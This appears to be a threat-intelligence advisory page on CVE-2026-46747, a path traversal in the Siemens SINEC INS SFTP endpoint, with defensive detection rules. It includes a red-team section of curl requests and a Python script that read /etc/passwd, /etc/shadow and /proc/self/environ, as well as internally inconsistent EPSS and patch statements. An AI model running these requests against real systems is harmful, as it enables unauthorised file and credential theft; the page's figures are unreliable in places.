☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Siemens logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 🐛 CWE-26
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-46747

CVE-2026-46747 Path Traversal in Siemens
📅 PUBLISHED: 2026-06-09 10:16 UTC 🔄 UPDATED: 2026-09-23 20:35 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Germany License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-46747 is a path traversal vulnerability in Siemens SINEC INS (Industrial Network Security) application, affecting all versions prior to V1.0 SP2 Update 6. The flaw resides in the GET /api/sftp/uploadFiles endpoint, where user-supplied path input is not properly sanitized. An unauthenticated attacker can exploit this to traverse directories outside the intended SFTP upload directory, potentially reading arbitrary files from the server’s file system.

The vulnerability has a CVSS score of 4.3 (Medium), with a vector indicating network-based, low-complexity exploitation requiring no privileges or user interaction. The impact is limited to confidentiality (low), with no effect on integrity or availability. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild, but the lack of a patch makes it a significant risk for exposed instances.

No public proof-of-concept (PoC) code or exploit templates are available at this time. The vulnerability is not related to any WordPress plugin or component; it is a standalone Siemens industrial product.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It affects a proprietary Siemens industrial application (SINEC INS). Supply chain risk is limited to the distribution of the software itself; no open-source package dependencies are involved.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited file read access.
  • Integrity Impact: None (I:N) – No data modification.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability allows unauthorized file reading but not code execution or data modification. The lack of a patch and the potential for sensitive data exposure (e.g., configuration files, credentials) elevate the risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability exists in the GET /api/sftp/uploadFiles endpoint of SINEC INS. This endpoint is designed to list files in the SFTP upload directory. The application fails to sanitize user-supplied path parameters, allowing an attacker to inject path traversal sequences (e.g., ../) to escape the intended directory.

Root Cause: The application uses user input directly in file system operations without validation or canonicalization. For example, a request like:

GET /api/sftp/uploadFiles?path=../../../etc/passwd

could return the contents of /etc/passwd or a directory listing of /etc/.

Attack Flow:

  1. Attacker identifies a SINEC INS instance (e.g., via Shodan or port scanning).
  2. Sends a crafted GET request to the vulnerable endpoint with path traversal sequences.
  3. The server processes the request and returns file listings or contents from arbitrary directories.
  4. Attacker extracts sensitive data (e.g., SSH keys, configuration files, credentials).

Impact: Unauthorized read access to the file system. This could lead to credential theft, reconnaissance for further attacks, or exposure of proprietary industrial network configurations.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/api/sftp/uploadFiles', methods=['GET'])
def list_upload_files():
    path = request.args.get('path', '')
    # No sanitization – directly used
    full_path = os.path.join(UPLOAD_DIR, path)
    if os.path.isdir(full_path):
        files = os.listdir(full_path)
        return jsonify(files)
    else:
        return "Not a directory", 400

Patched Code (Conceptual):

import os

UPLOAD_DIR = "/var/sftp/uploads"

@app.route('/api/sftp/uploadFiles', methods=['GET'])
def list_upload_files():
    path = request.args.get('path', '')
    # Sanitize: resolve and validate path
    safe_path = os.path.normpath(os.path.join(UPLOAD_DIR, path))
    if not safe_path.startswith(UPLOAD_DIR):
        return "Invalid path", 403
    if os.path.isdir(safe_path):
        files = os.listdir(safe_path)
        return jsonify(files)
    else:
        return "Not a directory", 400

The patched version uses os.path.normpath to resolve path traversal sequences and then checks that the resolved path starts with the intended base directory, preventing escape.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  • Target: SINEC INS V1.0 SP2 Update 5 (vulnerable) running on a Linux server.
  • Attacker: Kali Linux with curl or Burp Suite.

Exploitation Steps:

  1. Reconnaissance: Scan for SINEC INS instances on port 443 (HTTPS) or 80 (HTTP).
    nmap -p 443 --script http-title <target_ip>
    
  2. Path Traversal: Enumerate directories.
    curl -k "https://<target>/api/sftp/uploadFiles?path=../../../etc"
    
  3. File Read: Attempt to read sensitive files.
    curl -k "https://<target>/api/sftp/uploadFiles?path=../../../etc/passwd"
    
  4. Automation: Use a script to iterate over common paths.
    import requests
    target = "https://<target>"
    paths = ["../../../etc/passwd", "../../../etc/shadow", "../../../proc/self/environ"]
    for p in paths:
        r = requests.get(f"{target}/api/sftp/uploadFiles?path={p}", verify=False)
        print(f"[*] {p}: {r.status_code} - {r.text[:200]}")
    

Expected Output: Directory listings or file contents from arbitrary locations.

Blue Team (Defender)

Detection & Response:

  • Monitor HTTP logs for abnormal path patterns (e.g., ../, %2e%2e%2f).
  • Deploy WAF rules to block path traversal sequences in query parameters.
  • Use the detection rules provided below.

Hunting Queries:

  • Search for requests to /api/sftp/uploadFiles with path parameter containing ../.
  • Alert on multiple failed attempts (403/404) followed by successful 200 responses.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP GET requests to /api/sftp/uploadFiles with path parameter containing ../ or URL-encoded variants (%2e%2e%2f).
    • Unusual file paths in requests, e.g., ../../../etc/passwd, ../../../proc/self/environ.
  • File System IOCs:
    • Unexpected file reads from /etc/passwd, /etc/shadow, /var/log/, or application config files.
  • Log IOCs:
    • Web server logs showing GET /api/sftp/uploadFiles?path=../../../ entries.
    • Repeated 403/404 errors followed by 200 success for the same endpoint.

Detection Engineering

YARA Rule

rule CVE_2026_46747_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting SINEC INS /api/sftp/uploadFiles endpoint"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-46747"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $endpoint = "/api/sftp/uploadFiles"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2026-46747 SINEC INS Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in HTTP requests to SINEC INS /api/sftp/uploadFiles endpoint
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/sftp/uploadFiles'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of '..' in path (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-46747 SINEC INS Path Traversal Attempt"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/sftp/uploadFiles"; http.uri; content:"../"; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Apply the vendor patch when available (Siemens SINEC INS V1.0 SP2 Update 6 or later).
  2. Workaround: If patching is not possible, restrict access to the /api/sftp/uploadFiles endpoint using firewall rules or reverse proxy ACLs.
  3. Input Validation: Implement server-side validation to reject path traversal sequences (e.g., block ../, ..\\, URL-encoded variants).
  4. Least Privilege: Run the application with minimal file system permissions to limit the impact of successful exploitation.

Long-term Measures:

  • Conduct regular security audits of custom endpoints.
  • Use a Web Application Firewall (WAF) with path traversal protection.
  • Monitor logs for suspicious patterns and implement automated alerting.

Vendor Contact: Siemens PSIRT (ProductCERT@siemens.com) for patch status updates.


Valters IT – DevSecOps & Cyber Threat Intelligence

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-46747/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.